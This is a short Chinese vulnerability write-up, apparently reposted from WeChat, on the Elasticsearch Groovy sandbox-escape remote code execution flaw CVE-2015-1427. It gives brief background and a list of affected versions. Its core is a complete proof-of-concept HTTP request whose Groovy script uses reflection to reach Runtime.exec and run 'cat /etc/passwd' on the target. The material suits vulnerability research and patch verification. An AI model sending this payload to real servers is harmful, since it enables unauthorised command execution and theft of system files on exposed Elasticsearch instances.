> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/gaLFPkLpeIy1SC3dmBY9VA)  **(ElasticSearch Groovy 远程代码执行漏洞 CVE-2015-1427)** **前言:** Elasticsearch 是一个基于 Lucene 的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于 RESTful web 接口。Elasticsearch 是用 Java 语言开发的,并作为 Apache 许可条款下的开放源码发布,是一种流行的企业级搜索引擎。 **漏洞描述:** 曾经被曝出过一个 ElasticSearch 远程代码执行漏洞(CVE-2014-3120) ,漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过 MVEL 构造执行任意 java 代码。 后来脚本语言引擎换成了 Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行, **漏洞复现:** POC: ``` POST /_search?pretty HTTP/1.1 Host: ip:9200 User-Agent: python-requests/2.21.0 Accept: */* Connection: close Content-Length: 409 {"size":1,"script_fields": {"gem#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}} ```  **受影响版本:**
Elasticsearch Elasticsearch | 1.4.1 |
Elasticsearch Elasticsearch | 1.4.2 |
Elasticsearch Elasticsearch | 1.4.0 |
Elasticsearch Elasticsearch | 1.4.0:Beta1 |
Elasticsearch Elasticsearch | 1.3.7 |